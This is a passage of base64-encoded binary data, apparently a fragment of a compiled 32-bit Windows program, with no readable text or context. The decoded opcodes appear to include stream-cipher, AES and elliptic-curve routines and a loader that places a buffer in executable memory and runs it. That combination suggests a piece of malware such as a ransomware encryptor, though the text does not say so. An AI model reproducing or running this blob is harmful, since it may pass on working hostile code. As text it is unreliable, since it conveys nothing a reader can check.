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7//9WUOhyv///aJAAAACNhRD+//+JnQj+//9WUIm1DP7//+hUv///g8RIjYUQ+///V1ZQ6EO///9okAAAAI2FeP3//4mdcP3//1ZQibV0/f//6CW///+LdRSNhaj7//+JRfCNvdj8//+DxBiNhQj+//+JReCNhRD7//+JRfiNhXD9//+JReiLRRBqFFnzpY1YH8dF0CAAAACJXdSNjdj8//+KA4td3IhF/8dF2AgAAADA6AcPtsCZi/KL+FZXUVPouhgAAFZX/3Xs/3X06K0YAAD/dRT/dez/deT/dfRT/3Xg/3Xw/3Xo/3X46IsKAACDxERWV/918P91+Oh/GAAAVot14FeLfehWV+hwGAAAi03wi8OLXfiDxCCJRfiL14tF9IlF6ItF5IlF8ItF7IlF4IpF/wLAiVX0g23YAYlN5Il17IhF/w+FZf///4ld3Itd1EuDbdABiV3UD4VC////i3Xci30IahRZ86WLfQyL8moUWfOlX15bi+Vdw1WL7IHskAEAAI2FEP///1ZX/3UMUOgJFAAAjYUQ////UI2FYP///1Do9hMAAI2FYP///1CNRbBQ6OYTAAD/dQyNRbBQjYXA/v//UOj1CwAAjYUQ////UI2FwP7//1CNhXD+//9Q6NsLAACNhXD+//9QjUWwUOipEwAAjYXA/v//UI1FsFCNhRD///9Q6LQLAACDxESNhRD///9QjUWwUOh/EwAAjUWwUI2FYP///1DobxMAAI2FYP///1CNRbBQ6F8TAACNRbBQjYVg////UOhPEwAAjYVg////UI1FsFDoPxMAAI2FEP///1CNRbBQjYXA/v//UOhKCwAAjYXA/v//UI1FsFDoGBMAAI1FsFCNhWD///9Q6AgTAACDxERqBF+L942FYP///1CNRbBQ6PASAACNRbBQjYVg////UOjgEgAAg8QQg+4BddiNhcD+//9QjYVg////UI2FEP///1Do4AoAAI2FEP///1CNRbBQ6K4SAACNRbBQjYVg////UOieEgAAg8QcaglejYVg////UI1FsFDoiBIAAI1FsFCNhWD///9Q6HgSAACDxBCD7gF12I2FEP///1CNhWD///9QjUWwUOh7CgAAjUWwUI2FYP///1DoSRIAAI2FYP///1CNRbBQ6DkSAACDxByNRbBQjYVg////UOgmEgAAjYVg////UI1FsFD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